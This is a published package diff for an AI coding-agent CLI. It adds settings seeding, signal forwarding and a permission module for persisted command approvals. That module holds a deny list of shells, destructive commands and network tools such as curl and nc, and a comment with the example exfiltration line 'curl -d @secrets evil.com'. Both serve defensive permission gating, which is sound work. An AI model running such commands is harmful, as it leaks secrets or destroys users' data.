@yagni-app/code 0.2.1 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (77) hide show
  1. package/dist/cli.d.ts +30 -0
  2. package/dist/cli.js +135 -3
  3. package/dist/doctor.d.ts +1 -1
  4. package/dist/doctor.js +1 -1
  5. package/dist/extension/advisor.d.ts +4 -4
  6. package/dist/extension/advisor.js +6 -7
  7. package/dist/extension/approvedPrefixes.d.ts +92 -0
  8. package/dist/extension/approvedPrefixes.js +252 -0
  9. package/dist/extension/askAdvisorTool.d.ts +2 -2
  10. package/dist/extension/askAdvisorTool.js +5 -5
  11. package/dist/extension/askYagniTool.js +49 -0
  12. package/dist/extension/branding.d.ts +24 -3
  13. package/dist/extension/branding.js +71 -10
  14. package/dist/extension/chipEditor.d.ts +30 -9
  15. package/dist/extension/chipEditor.js +173 -59
  16. package/dist/extension/claudeRules.d.ts +0 -2
  17. package/dist/extension/claudeRules.js +0 -8
  18. package/dist/extension/cmux/dispatcher.d.ts +25 -0
  19. package/dist/extension/cmux/dispatcher.js +266 -0
  20. package/dist/extension/cmux/hooks.d.ts +12 -0
  21. package/dist/extension/cmux/hooks.js +192 -0
  22. package/dist/extension/cmux/index.d.ts +3 -0
  23. package/dist/extension/cmux/index.js +155 -0
  24. package/dist/extension/cmux/naming.d.ts +5 -0
  25. package/dist/extension/cmux/naming.js +23 -0
  26. package/dist/extension/cmux/state.d.ts +33 -0
  27. package/dist/extension/cmux/state.js +142 -0
  28. package/dist/extension/config.d.ts +32 -1
  29. package/dist/extension/config.js +36 -4
  30. package/dist/extension/costHud.d.ts +16 -22
  31. package/dist/extension/costHud.js +8 -47
  32. package/dist/extension/crashReport.js +1 -3
  33. package/dist/extension/execPolicy.d.ts +119 -0
  34. package/dist/extension/execPolicy.js +805 -0
  35. package/dist/extension/footer.d.ts +111 -0
  36. package/dist/extension/footer.js +294 -0
  37. package/dist/extension/guardian.d.ts +129 -0
  38. package/dist/extension/guardian.js +213 -0
  39. package/dist/extension/index.d.ts +15 -4
  40. package/dist/extension/index.js +250 -24
  41. package/dist/extension/permission.d.ts +123 -10
  42. package/dist/extension/permission.js +586 -40
  43. package/dist/extension/pipeline/childRegistry.d.ts +41 -0
  44. package/dist/extension/pipeline/childRegistry.js +118 -0
  45. package/dist/extension/pipeline/finish.js +5 -1
  46. package/dist/extension/pipeline/goCommand.d.ts +1 -1
  47. package/dist/extension/pipeline/goCommand.js +35 -6
  48. package/dist/extension/pipeline/goStatusCommands.d.ts +10 -0
  49. package/dist/extension/pipeline/goStatusCommands.js +61 -1
  50. package/dist/extension/pipeline/personas.js +25 -0
  51. package/dist/extension/pipeline/runRegistry.d.ts +14 -0
  52. package/dist/extension/pipeline/runRegistry.js +35 -0
  53. package/dist/extension/pipeline/runner.js +4 -0
  54. package/dist/extension/pipeline/verify.d.ts +4 -0
  55. package/dist/extension/pipeline/verify.js +48 -26
  56. package/dist/extension/redact.d.ts +20 -0
  57. package/dist/extension/redact.js +64 -0
  58. package/dist/extension/rerouteNotice.d.ts +3 -4
  59. package/dist/extension/rerouteNotice.js +20 -11
  60. package/dist/extension/subagentRender.d.ts +129 -0
  61. package/dist/extension/subagentRender.js +441 -0
  62. package/dist/extension/subagents.d.ts +4 -7
  63. package/dist/extension/subagents.js +103 -33
  64. package/dist/extension/ticketTools.d.ts +37 -0
  65. package/dist/extension/ticketTools.js +117 -0
  66. package/dist/extension/tokenProvider.js +46 -5
  67. package/dist/launch.d.ts +7 -0
  68. package/dist/launch.js +24 -12
  69. package/dist/padding.d.ts +22 -0
  70. package/dist/padding.js +25 -0
  71. package/dist/promptEnrichment.d.ts +40 -0
  72. package/dist/promptEnrichment.js +85 -0
  73. package/dist/signalForward.d.ts +60 -0
  74. package/dist/signalForward.js +130 -0
  75. package/package.json +5 -5
  76. package/dist/extension/boostCommand.d.ts +0 -144
  77. package/dist/extension/boostCommand.js +0 -263
package/dist/cli.d.ts CHANGED
@@ -12,6 +12,36 @@
12
12
  * plus a configured pi spawn. Everything that makes this "YAGNI Code" lives in
13
13
  * pi-extension-yagni and the YAGNI backend.
14
14
  */
15
+ /**
16
+ * Seed `editorPaddingX` into the per-profile pi `settings.json` so the prompt
17
+ * input aligns with the chat/output area (`outputPad`) and the status bar.
18
+ * Fills the key in only when absent — an explicit user choice (including 0)
19
+ * is never overwritten. Best-effort: a missing/corrupt settings file or a
20
+ * write failure must never block the launch.
21
+ */
22
+ export declare function seedEditorPadding(piAgentDir: string): void;
23
+ /**
24
+ * Seed `collapseChangelog` into the per-profile pi `settings.json` so the
25
+ * "What's New" section on startup renders as a one-liner instead of a full
26
+ * markdown dump. Fills the key in only when absent — an explicit user choice
27
+ * (including false) is never overwritten. Best-effort: a missing/corrupt
28
+ * settings file or a write failure must never block the launch.
29
+ */
30
+ export declare function seedCollapseChangelog(piAgentDir: string): void;
31
+ /**
32
+ * Seed `hideThinkingBlock` into the per-profile pi `settings.json` so the
33
+ * model's raw chain-of-thought collapses to a single labeled line instead of
34
+ * streaming its entire reasoning to the terminal. Fills the key in only when
35
+ * absent — an explicit user choice (including false, e.g. via Ctrl+T) is never
36
+ * overwritten. Best-effort: a missing/corrupt settings file or a write failure
37
+ * must never block the launch.
38
+ *
39
+ * Returns true only when this call actually collapsed reasoning for the first
40
+ * time (the key was absent and the write succeeded), so the caller can pass a
41
+ * one-time hint to the extension. Ctrl+T still reveals the full trace and
42
+ * persists the user's choice, so this default is always reversible.
43
+ */
44
+ export declare function seedHideThinkingBlock(piAgentDir: string): boolean;
15
45
  export declare const HELP_TEXT: string;
16
46
  /** Parse `use <name> [--base-url <url>]` argv into its parts. */
17
47
  export declare function parseUseArgs(args: string[]): {
package/dist/cli.js CHANGED
@@ -13,7 +13,8 @@
13
13
  * pi-extension-yagni and the YAGNI backend.
14
14
  */
15
15
  import { spawn } from "node:child_process";
16
- import { mkdirSync, realpathSync } from "node:fs";
16
+ import { chmodSync, existsSync, lstatSync, mkdirSync, readFileSync, realpathSync, renameSync, rmSync, writeFileSync, } from "node:fs";
17
+ import { join } from "node:path";
17
18
  import { createInterface } from "node:readline/promises";
18
19
  import { fileURLToPath } from "node:url";
19
20
  import { PI_CONFIG_NAME } from "./branding.js";
@@ -27,6 +28,8 @@ import { runDoctor } from "./doctor.js";
27
28
  import { installProcessCrashHandlers } from "./crashReport.js";
28
29
  import { currentCliVersion, maybeNudgeAndRefresh, upgradeCommand } from "./upgrade.js";
29
30
  import { maybeRefreshAtLaunch } from "./refresh.js";
31
+ import { exitCodeFor, installSignalForwarding } from "./signalForward.js";
32
+ import { PAD_X } from "./padding.js";
30
33
  import { ensureShadowPiPackage } from "./piPackage.js";
31
34
  import { resolveExtensionPath, resolvePiCliPath, resolvePiPackageDir } from "./paths.js";
32
35
  import { credentialsFromProfile, getActiveProfileName, listProfiles, migrateLegacyCredentials, persistProfileTokenRotation, profilePath, readActiveProfile, useProfile, } from "./profiles.js";
@@ -43,6 +46,115 @@ async function confirmOnTty(question) {
43
46
  rl.close();
44
47
  }
45
48
  }
49
+ /**
50
+ * Seed `editorPaddingX` into the per-profile pi `settings.json` so the prompt
51
+ * input is padded to match the chat/output area (`outputPad`) and the status
52
+ * bar. Fills the key in only when absent — an explicit user choice (including
53
+ * 0) is never overwritten. Best-effort: a missing/corrupt settings file or a
54
+ * write failure must never block the launch.
55
+ */
56
+ /**
57
+ * Seed a key into the per-profile pi `settings.json`. Shared guard rails for
58
+ * all settings seeds:
59
+ *
60
+ * This writes to a user-owned file, so it is deliberately conservative:
61
+ * - fills the key in ONLY when absent — an explicit user choice (including 0
62
+ * or false) is never overwritten;
63
+ * - backs off on a missing-dir, corrupt, non-object, or symlinked settings
64
+ * file rather than risk clobbering anything;
65
+ * - writes ATOMICALLY (temp file + rename) and preserves the existing file's
66
+ * permissions, so a crash mid-write can never truncate the user's settings.
67
+ * Any failure is swallowed: seeding must never block or break a launch.
68
+ *
69
+ * Returns true only when this call actually wrote the key (the key was absent
70
+ * and the write succeeded), letting callers distinguish a first-seed from a
71
+ * no-op so they can surface a one-time hint. Returns false on any existing
72
+ * value (explicit or previously seeded), a back-off case, or a write failure.
73
+ */
74
+ function seedSetting(piAgentDir, key, value) {
75
+ try {
76
+ const settingsPath = join(piAgentDir, "settings.json");
77
+ let settings = {};
78
+ let existingMode;
79
+ if (existsSync(settingsPath)) {
80
+ // Refuse to follow a symlink: we must only ever write a regular, real
81
+ // settings file the user (or pi) owns.
82
+ if (lstatSync(settingsPath).isSymbolicLink())
83
+ return false;
84
+ let parsed;
85
+ try {
86
+ parsed = JSON.parse(readFileSync(settingsPath, "utf8"));
87
+ }
88
+ catch {
89
+ return false; // corrupt file: back off rather than clobber the user's settings
90
+ }
91
+ if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) {
92
+ return false; // non-object settings: leave it alone
93
+ }
94
+ settings = parsed;
95
+ existingMode = lstatSync(settingsPath).mode & 0o777;
96
+ }
97
+ if (settings[key] !== undefined)
98
+ return false; // user (or a prior seed) already set it
99
+ settings[key] = value;
100
+ // Atomic write: serialize to a temp file in the same directory, then
101
+ // rename over the target. A crash leaves either the old file or the temp
102
+ // file, never a half-written settings.json.
103
+ const tmpPath = join(piAgentDir, `.settings.json.yagni-${process.pid}-${Date.now()}.tmp`);
104
+ try {
105
+ writeFileSync(tmpPath, `${JSON.stringify(settings, null, 2)}\n`, { mode: 0o600 });
106
+ renameSync(tmpPath, settingsPath);
107
+ }
108
+ finally {
109
+ rmSync(tmpPath, { force: true }); // no-op once the rename succeeded
110
+ }
111
+ // Restore the original permissions if the file already had them (rename
112
+ // replaces the inode, which would otherwise reset to 0600).
113
+ if (existingMode !== undefined)
114
+ chmodSync(settingsPath, existingMode);
115
+ return true;
116
+ }
117
+ catch {
118
+ // never block launch on a settings-seed failure
119
+ return false;
120
+ }
121
+ }
122
+ /**
123
+ * Seed `editorPaddingX` into the per-profile pi `settings.json` so the prompt
124
+ * input aligns with the chat/output area (`outputPad`) and the status bar.
125
+ * Fills the key in only when absent — an explicit user choice (including 0)
126
+ * is never overwritten. Best-effort: a missing/corrupt settings file or a
127
+ * write failure must never block the launch.
128
+ */
129
+ export function seedEditorPadding(piAgentDir) {
130
+ seedSetting(piAgentDir, "editorPaddingX", PAD_X);
131
+ }
132
+ /**
133
+ * Seed `collapseChangelog` into the per-profile pi `settings.json` so the
134
+ * "What's New" section on startup renders as a one-liner instead of a full
135
+ * markdown dump. Fills the key in only when absent — an explicit user choice
136
+ * (including false) is never overwritten. Best-effort: a missing/corrupt
137
+ * settings file or a write failure must never block the launch.
138
+ */
139
+ export function seedCollapseChangelog(piAgentDir) {
140
+ seedSetting(piAgentDir, "collapseChangelog", true);
141
+ }
142
+ /**
143
+ * Seed `hideThinkingBlock` into the per-profile pi `settings.json` so the
144
+ * model's raw chain-of-thought collapses to a single labeled line instead of
145
+ * streaming its entire reasoning to the terminal. Fills the key in only when
146
+ * absent — an explicit user choice (including false, e.g. via Ctrl+T) is never
147
+ * overwritten. Best-effort: a missing/corrupt settings file or a write failure
148
+ * must never block the launch.
149
+ *
150
+ * Returns true only when this call actually collapsed reasoning for the first
151
+ * time (the key was absent and the write succeeded), so the caller can pass a
152
+ * one-time hint to the extension. Ctrl+T still reveals the full trace and
153
+ * persists the user's choice, so this default is always reversible.
154
+ */
155
+ export function seedHideThinkingBlock(piAgentDir) {
156
+ return seedSetting(piAgentDir, "hideThinkingBlock", true);
157
+ }
46
158
  async function runDefault(passthroughArgs) {
47
159
  // Cache-backed update nudge (never a network wait), then a background cache
48
160
  // refresh that completes while the session runs. Both fail soft.
@@ -72,6 +184,20 @@ async function runDefault(passthroughArgs) {
72
184
  // instead of ~/.pi/agent, and prod state never bleeds into staging.
73
185
  const piAgentDir = agentDir(profile.name);
74
186
  mkdirSync(piAgentDir, { recursive: true, mode: 0o700 });
187
+ // Seed the editor's horizontal padding so the prompt input aligns with the
188
+ // chat/output area and the status bar, and collapse the changelog so the
189
+ // "What's New" section on startup renders as a one-liner instead of a full
190
+ // markdown dump. Only fills in when the user has not set either themselves —
191
+ // an explicit choice is never clobbered. Best-effort: a corrupt or
192
+ // unreadable settings.json must never block the launch.
193
+ seedEditorPadding(piAgentDir);
194
+ seedCollapseChangelog(piAgentDir);
195
+ // Collapse raw chain-of-thought to one line on first launch. Seeded here
196
+ // (before the extension boots) so `setHiddenThinkingLabel`/any Ctrl+T toggle
197
+ // in this session sees the collapsed default. `seededHideThinking` is true
198
+ // only THIS launch — a downstream one-time hint must not re-nag on the next
199
+ // real run once the key already exists.
200
+ const seededHideThinking = seedHideThinkingBlock(piAgentDir);
75
201
  // Generate the shadow pi package so the terminal title/process name read
76
202
  // "YAGNI Code" instead of "pi"/"π". Best-effort: if it can't be built we
77
203
  // still launch (un-rebranded but hermetic), never blocking the agent.
@@ -120,6 +246,7 @@ async function runDefault(passthroughArgs) {
120
246
  stateDir: credentialsDir(),
121
247
  cliVersion: cliVersion(),
122
248
  baseEnv: process.env,
249
+ ...(seededHideThinking ? { hideThinkingSeeded: true } : {}),
123
250
  });
124
251
  }
125
252
  catch (err) {
@@ -136,7 +263,12 @@ async function runDefault(passthroughArgs) {
136
263
  stdio: "inherit",
137
264
  env,
138
265
  });
139
- child.on("exit", (code) => resolve(code ?? 0));
266
+ // Forward termination signals to pi instead of dying around it (see
267
+ // signalForward.ts for the policy: first signal graceful, second tree-kill).
268
+ installSignalForwarding(child);
269
+ // 128+n for a signal death (bash parity), so a cancelled/killed run never
270
+ // reads as success to scripts or CI.
271
+ child.on("exit", (code, signal) => resolve(exitCodeFor(code, signal)));
140
272
  child.on("error", (err) => {
141
273
  process.stderr.write(`Failed to start YAGNI Code: ${err.message}\n`);
142
274
  resolve(1);
@@ -161,7 +293,7 @@ export const HELP_TEXT = [
161
293
  " yagni version Print the CLI version.",
162
294
  "",
163
295
  "Common agent flags (passed straight through):",
164
- " --model <tier> Pick the model tier (balanced by default).",
296
+ " --model <tier> Model tier (fixed to advanced).",
165
297
  " --thinking <level> off | minimal | low | medium | high | xhigh | max",
166
298
  " --session <id> Open a specific session; --fork <id> branches one.",
167
299
  " --mode json Emit machine-readable events (for scripts and CI).",
package/dist/doctor.d.ts CHANGED
@@ -94,7 +94,7 @@ export interface DoctorDeps {
94
94
  export declare function ghOnPathDefault(env?: NodeJS.ProcessEnv): boolean;
95
95
  /**
96
96
  * Locate the bash pi will actually use on Windows. The order and locations
97
- * MIRROR pi 0.83's own shell resolution (dist/utils/shell.js) exactly:
97
+ * MIRROR pi 0.84.1's own shell resolution (dist/utils/shell.js) exactly:
98
98
  * `%ProgramFiles%\Git\bin\bash.exe`, then `%ProgramFiles(x86)%\Git\bin\bash.exe`,
99
99
  * then `bash.exe` on PATH (`where bash.exe`). Deliberately NOTHING wider — a
100
100
  * per-user Git install in `%LOCALAPPDATA%` that is not on PATH is invisible
package/dist/doctor.js CHANGED
@@ -316,7 +316,7 @@ export function ghOnPathDefault(env = process.env) {
316
316
  }
317
317
  /**
318
318
  * Locate the bash pi will actually use on Windows. The order and locations
319
- * MIRROR pi 0.83's own shell resolution (dist/utils/shell.js) exactly:
319
+ * MIRROR pi 0.84.1's own shell resolution (dist/utils/shell.js) exactly:
320
320
  * `%ProgramFiles%\Git\bin\bash.exe`, then `%ProgramFiles(x86)%\Git\bin\bash.exe`,
321
321
  * then `bash.exe` on PATH (`where bash.exe`). Deliberately NOTHING wider — a
322
322
  * per-user Git install in `%LOCALAPPDATA%` that is not on PATH is invisible
@@ -22,8 +22,8 @@
22
22
  * State is held in a closure via {@link makeAdvisorState}; no module-level
23
23
  * mutable state, so two sessions in one process cannot bleed into each other.
24
24
  */
25
- /** The session tier that may escalate. Balanced only, by design. */
26
- export declare const ADVISOR_TIER = "balanced";
25
+ /** The session tier that may escalate. Advanced only, by design. */
26
+ export declare const ADVISOR_TIER = "advanced";
27
27
  /** The tier a consult itself runs on. */
28
28
  export declare const ADVISOR_MODEL_TIER = "peak";
29
29
  /** Bounds on escalation within a single session. */
@@ -64,8 +64,8 @@ export interface ConsultGateInput {
64
64
  * The tier check reads the model at CALL time rather than at registration time:
65
65
  * tools register once at activation but pi's picker can switch the session model
66
66
  * afterwards, so a registration-time check would both leave the tool live after
67
- * switching away from Balanced and hide it forever from a session that switched
68
- * to Balanced.
67
+ * switching away from Advanced and hide it forever from a session that switched
68
+ * to Advanced.
69
69
  */
70
70
  export declare function decideConsult(input: ConsultGateInput): ConsultDecision;
71
71
  /**
@@ -22,8 +22,8 @@
22
22
  * State is held in a closure via {@link makeAdvisorState}; no module-level
23
23
  * mutable state, so two sessions in one process cannot bleed into each other.
24
24
  */
25
- /** The session tier that may escalate. Balanced only, by design. */
26
- export const ADVISOR_TIER = "balanced";
25
+ /** The session tier that may escalate. Advanced only, by design. */
26
+ export const ADVISOR_TIER = "advanced";
27
27
  /** The tier a consult itself runs on. */
28
28
  export const ADVISOR_MODEL_TIER = "peak";
29
29
  export const DEFAULT_ADVISOR_LIMITS = {
@@ -49,17 +49,16 @@ export function makeAdvisorState() {
49
49
  * The tier check reads the model at CALL time rather than at registration time:
50
50
  * tools register once at activation but pi's picker can switch the session model
51
51
  * afterwards, so a registration-time check would both leave the tool live after
52
- * switching away from Balanced and hide it forever from a session that switched
53
- * to Balanced.
52
+ * switching away from Advanced and hide it forever from a session that switched
53
+ * to Advanced.
54
54
  */
55
55
  export function decideConsult(input) {
56
56
  const { model, state, limits } = input;
57
57
  if (model !== ADVISOR_TIER) {
58
58
  return {
59
59
  allow: false,
60
- reason: `ask_advisor is only available on the Balanced tier (this session is on ` +
61
- `"${model ?? "unknown"}"). Switch the model to Balanced to consult the ` +
62
- `peak-tier advisor, or reason it through on the current tier.`,
60
+ reason: `ask_advisor is only available on the Advanced tier (this session is on ` +
61
+ `"${model ?? "unknown"}").`,
63
62
  };
64
63
  }
65
64
  if (state.consults >= limits.maxConsults) {
@@ -0,0 +1,92 @@
1
+ /**
2
+ * Approved command prefixes — persisted "don't ask again" grants (YAG-510).
3
+ *
4
+ * When the Guardian asks and the user answers "Yes, and don't ask again for
5
+ * `git push …`", the derived prefix is persisted and future commands matching
6
+ * it run without a Guardian consult.
7
+ *
8
+ * Grants deliberately live OUTSIDE the exec policy: they are consulted by the
9
+ * permission gate ONLY after classifyCommand returns "prompt", so a grant can
10
+ * never override the forbidden band, pipe-to-shell, or compound-strictest
11
+ * aggregation — by construction, not by rule ordering. (Inserting grant rules
12
+ * into ExecPolicy.rules was reviewed and rejected: appended rules are a
13
+ * first-match-wins no-op behind the built-in prompt rules, and prepended
14
+ * rules would shadow the forbidden block.)
15
+ *
16
+ * Scope: grants are per-repo — keyed by the git remote origin URL of the
17
+ * session cwd (fallback: realpath of the cwd). A `git push` grant earned in a
18
+ * scratch repo must not auto-allow pushes in the production monorepo.
19
+ *
20
+ * Persistence: ~/.yagni-code/rules.json, re-read-merged-written on every
21
+ * append so concurrent sessions don't clobber each other's grants. Sessions
22
+ * already running only see new grants at next startup (accepted).
23
+ *
24
+ * Pure derivation/matching half + a small I/O half (load/append/repoKey),
25
+ * same split as guardian.ts and permission.ts so the rules are exhaustively
26
+ * testable without touching the filesystem.
27
+ */
28
+ import { type ExecPolicy } from "./execPolicy.js";
29
+ export interface ApprovedPrefixGrant {
30
+ /** Ordered command tokens the grant covers, e.g. ["git", "push"]. */
31
+ pattern: string[];
32
+ /** Repo the grant applies to (git remote origin URL or realpath of cwd). */
33
+ repoKey: string;
34
+ /** ISO timestamp of the grant. */
35
+ addedAt: string;
36
+ /** The cwd where the grant was made (provenance for a future revoke UI). */
37
+ cwd: string;
38
+ }
39
+ export interface ApprovedPrefixFile {
40
+ version: 1;
41
+ grants: ApprovedPrefixGrant[];
42
+ }
43
+ /**
44
+ * Prefixes that must never be grantable. Interpreters and wrappers would
45
+ * grant arbitrary execution; rm/kill/chmod/chown are destruction families;
46
+ * network/egress tools would grant permanent unreviewed exfiltration paths
47
+ * (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
48
+ * multi-subcommand tools are banned via derivation (never offered).
49
+ */
50
+ export declare const BANNED_PREFIXES: Set<string>;
51
+ export declare function derivePrefix(command: string): string[] | null;
52
+ /**
53
+ * Command-family label for storage analytics (YAG-510): token 1 (basename'd),
54
+ * plus token 2 only for known multi-subcommand tools when it is a plain
55
+ * subcommand word — a psql conn-string or URL must never land in the prefix
56
+ * column. Unlike derivePrefix this labels EVERY command (banned families and
57
+ * compound commands included; compound commands are labeled by their first
58
+ * segment's command word).
59
+ */
60
+ export declare function storagePrefix(command: string): string;
61
+ /**
62
+ * Does `command` fall under one of the session's grants? Pure. The caller
63
+ * (permission gate) must only consult this AFTER classifyCommand returned
64
+ * "prompt" — grants never override forbidden.
65
+ */
66
+ export declare function matchesGrant(command: string, grants: readonly ApprovedPrefixGrant[], repoKey: string): ApprovedPrefixGrant | null;
67
+ /**
68
+ * Grant-time validation: only offer/accept a grant when the current command
69
+ * would actually auto-run under it — classification is "prompt" AND the
70
+ * hypothetical grant matches. Prevents offering a "don't ask again" that
71
+ * wouldn't have prevented this ask (or that covers a fenced shape).
72
+ */
73
+ export declare function validateGrant(command: string, policy: ExecPolicy, repoKey: string): ApprovedPrefixGrant | null;
74
+ /** Human label for the remember option: "git push …". */
75
+ export declare function describePrefix(pattern: string[]): string;
76
+ export declare function rulesFilePath(homeOverride?: string | null): string;
77
+ /**
78
+ * Resolve the grant scope key for a session cwd: the git remote origin URL,
79
+ * falling back to the realpath of the cwd (no remote, not a repo, git
80
+ * missing). Fail-soft — never throws.
81
+ */
82
+ export declare function resolveRepoKey(cwd: string): string;
83
+ /** Load persisted grants. Malformed or missing file → empty (fail-soft). */
84
+ export declare function loadGrants(homeOverride?: string | null): ApprovedPrefixGrant[];
85
+ /**
86
+ * Persist a new grant: re-read the file, merge (drop exact duplicates), write.
87
+ * The re-read is the concurrency guard — a parallel session's grant appended
88
+ * between our load and this call survives. Returns the merged list; throws
89
+ * never (fail-soft, returns the in-memory merge even if the write fails).
90
+ */
91
+ export declare function appendGrant(grant: ApprovedPrefixGrant, homeOverride?: string | null): ApprovedPrefixGrant[];
92
+ //# sourceMappingURL=approvedPrefixes.d.ts.map
@@ -0,0 +1,252 @@
1
+ /**
2
+ * Approved command prefixes — persisted "don't ask again" grants (YAG-510).
3
+ *
4
+ * When the Guardian asks and the user answers "Yes, and don't ask again for
5
+ * `git push …`", the derived prefix is persisted and future commands matching
6
+ * it run without a Guardian consult.
7
+ *
8
+ * Grants deliberately live OUTSIDE the exec policy: they are consulted by the
9
+ * permission gate ONLY after classifyCommand returns "prompt", so a grant can
10
+ * never override the forbidden band, pipe-to-shell, or compound-strictest
11
+ * aggregation — by construction, not by rule ordering. (Inserting grant rules
12
+ * into ExecPolicy.rules was reviewed and rejected: appended rules are a
13
+ * first-match-wins no-op behind the built-in prompt rules, and prepended
14
+ * rules would shadow the forbidden block.)
15
+ *
16
+ * Scope: grants are per-repo — keyed by the git remote origin URL of the
17
+ * session cwd (fallback: realpath of the cwd). A `git push` grant earned in a
18
+ * scratch repo must not auto-allow pushes in the production monorepo.
19
+ *
20
+ * Persistence: ~/.yagni-code/rules.json, re-read-merged-written on every
21
+ * append so concurrent sessions don't clobber each other's grants. Sessions
22
+ * already running only see new grants at next startup (accepted).
23
+ *
24
+ * Pure derivation/matching half + a small I/O half (load/append/repoKey),
25
+ * same split as guardian.ts and permission.ts so the rules are exhaustively
26
+ * testable without touching the filesystem.
27
+ */
28
+ import { execFileSync } from "node:child_process";
29
+ import { existsSync, mkdirSync, readFileSync, realpathSync, writeFileSync } from "node:fs";
30
+ import { dirname, join } from "node:path";
31
+ import { classifyCommand, shellParse, tokenize } from "./execPolicy.js";
32
+ import { codeStateHome } from "./stateHome.js";
33
+ // --- Derivation ---
34
+ /** Tools whose second token is a subcommand worth capturing in a prefix. */
35
+ const MULTI_SUBCOMMAND_TOOLS = new Set([
36
+ "git", "gh", "npm", "pnpm", "yarn", "docker", "kubectl", "fly", "cargo", "go",
37
+ ]);
38
+ /**
39
+ * Prefixes that must never be grantable. Interpreters and wrappers would
40
+ * grant arbitrary execution; rm/kill/chmod/chown are destruction families;
41
+ * network/egress tools would grant permanent unreviewed exfiltration paths
42
+ * (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
43
+ * multi-subcommand tools are banned via derivation (never offered).
44
+ */
45
+ export const BANNED_PREFIXES = new Set([
46
+ "bash", "sh", "zsh", "fish", "dash", "ksh",
47
+ "python", "python3", "node", "ruby", "perl", "deno", "bun",
48
+ "sudo", "env", "eval", "exec", "command", "builtin", "source", "xargs",
49
+ "rm", "kill", "chmod", "chown", "dd", "mkfs", "truncate",
50
+ "curl", "wget", "ssh", "scp", "rsync", "nc", "ncat", "socat", "psql",
51
+ ]);
52
+ /** Second tokens must look like plain subcommand words (no URLs, no secrets). */
53
+ const SAFE_SUBCOMMAND_RE = /^[A-Za-z0-9:_-]+$/;
54
+ /**
55
+ * Derive the grantable prefix for a command, or null when the command is not
56
+ * grantable: multi-segment/compound, carries shell constructs, banned prefix,
57
+ * or a bare multi-subcommand tool with no subcommand.
58
+ */
59
+ /**
60
+ * A command qualifies for grant coverage only when it is one plain command:
61
+ * no operators, no constructs (checked via the quote-aware tokenizer, so
62
+ * `git commit -m "a & b"` still qualifies — the & is quoted text).
63
+ */
64
+ function isSinglePlainCommand(command) {
65
+ return !shellParse(command).some((t) => typeof t === "object");
66
+ }
67
+ export function derivePrefix(command) {
68
+ // Grants only ever cover single plain commands. Any operator or construct
69
+ // (|, &&, ;, newline, redirect, substitution, &) disqualifies.
70
+ if (!isSinglePlainCommand(command))
71
+ return null;
72
+ const tokens = tokenize(command);
73
+ if (tokens.length === 0)
74
+ return null;
75
+ const first = tokens[0];
76
+ // Path-prefixed or escaped command words are never grantable.
77
+ if (first.includes("/") || first.startsWith("\\"))
78
+ return null;
79
+ if (BANNED_PREFIXES.has(first))
80
+ return null;
81
+ if (MULTI_SUBCOMMAND_TOOLS.has(first)) {
82
+ const second = tokens[1];
83
+ if (!second || second.startsWith("-") || !SAFE_SUBCOMMAND_RE.test(second))
84
+ return null;
85
+ return [first, second];
86
+ }
87
+ return [first];
88
+ }
89
+ /**
90
+ * Command-family label for storage analytics (YAG-510): token 1 (basename'd),
91
+ * plus token 2 only for known multi-subcommand tools when it is a plain
92
+ * subcommand word — a psql conn-string or URL must never land in the prefix
93
+ * column. Unlike derivePrefix this labels EVERY command (banned families and
94
+ * compound commands included; compound commands are labeled by their first
95
+ * segment's command word).
96
+ */
97
+ export function storagePrefix(command) {
98
+ const tokens = tokenize(command);
99
+ if (tokens.length === 0)
100
+ return "(empty)";
101
+ const rawFirst = tokens[0].startsWith("\\") ? tokens[0].slice(1) : tokens[0];
102
+ const slash = rawFirst.lastIndexOf("/");
103
+ const first = slash >= 0 ? rawFirst.slice(slash + 1) : rawFirst;
104
+ const second = tokens[1];
105
+ if (MULTI_SUBCOMMAND_TOOLS.has(first) && second && SAFE_SUBCOMMAND_RE.test(second) && !second.startsWith("-")) {
106
+ return `${first} ${second}`;
107
+ }
108
+ return first;
109
+ }
110
+ // --- Matching ---
111
+ /**
112
+ * git-push refspec shapes that encode force/delete positionally: a leading
113
+ * `+` forces, a `:` inside a refspec deletes or maps (`:main` deletes the
114
+ * remote branch). Confirmed unfencable via flag lists — so any such arg
115
+ * knocks the command out of grant coverage entirely.
116
+ */
117
+ function hasGitPushRefspecDanger(tokens) {
118
+ return tokens.slice(2).some((t) => t.startsWith("+") || (!t.startsWith("-") && t.includes(":")));
119
+ }
120
+ /**
121
+ * Flags that must never ride a grant even though the exec policy leaves them
122
+ * in the prompt band (e.g. --force-with-lease is Guardian-reviewable but a
123
+ * standing grant for it would be a silent force-push license).
124
+ */
125
+ function hasGrantFencedFlag(pattern, tokens) {
126
+ if (pattern[0] === "git" && pattern[1] === "push") {
127
+ return tokens.some((t) => t.startsWith("--force") || t === "-f");
128
+ }
129
+ return false;
130
+ }
131
+ /**
132
+ * Does `command` fall under one of the session's grants? Pure. The caller
133
+ * (permission gate) must only consult this AFTER classifyCommand returned
134
+ * "prompt" — grants never override forbidden.
135
+ */
136
+ export function matchesGrant(command, grants, repoKey) {
137
+ // Same single-plain-command restriction as derivation.
138
+ if (!isSinglePlainCommand(command))
139
+ return null;
140
+ const tokens = tokenize(command);
141
+ if (tokens.length === 0)
142
+ return null;
143
+ for (const grant of grants) {
144
+ if (grant.repoKey !== repoKey)
145
+ continue;
146
+ if (grant.pattern.length === 0 || grant.pattern.length > tokens.length)
147
+ continue;
148
+ if (!grant.pattern.every((p, i) => tokens[i] === p))
149
+ continue;
150
+ if (hasGrantFencedFlag(grant.pattern, tokens))
151
+ continue;
152
+ if (grant.pattern[0] === "git" && grant.pattern[1] === "push" && hasGitPushRefspecDanger(tokens))
153
+ continue;
154
+ return grant;
155
+ }
156
+ return null;
157
+ }
158
+ /**
159
+ * Grant-time validation: only offer/accept a grant when the current command
160
+ * would actually auto-run under it — classification is "prompt" AND the
161
+ * hypothetical grant matches. Prevents offering a "don't ask again" that
162
+ * wouldn't have prevented this ask (or that covers a fenced shape).
163
+ */
164
+ export function validateGrant(command, policy, repoKey) {
165
+ const pattern = derivePrefix(command);
166
+ if (!pattern)
167
+ return null;
168
+ if (classifyCommand(command, policy).decision !== "prompt")
169
+ return null;
170
+ const candidate = {
171
+ pattern,
172
+ repoKey,
173
+ addedAt: new Date().toISOString(),
174
+ cwd: "",
175
+ };
176
+ return matchesGrant(command, [candidate], repoKey) ? candidate : null;
177
+ }
178
+ /** Human label for the remember option: "git push …". */
